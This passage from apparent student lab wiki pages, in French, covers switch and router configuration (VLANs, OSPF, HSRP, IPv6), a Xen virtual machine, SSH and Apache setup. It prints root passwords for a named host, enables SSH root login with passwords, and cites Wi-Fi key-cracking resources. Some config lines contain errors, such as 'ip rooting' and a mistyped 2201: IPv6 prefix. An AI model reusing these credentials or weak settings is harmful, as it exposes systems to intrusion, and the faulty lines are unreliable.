    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51583</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51583"/>
				<updated>2019-12-07T03:21:19Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Serveur FreeRadius */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
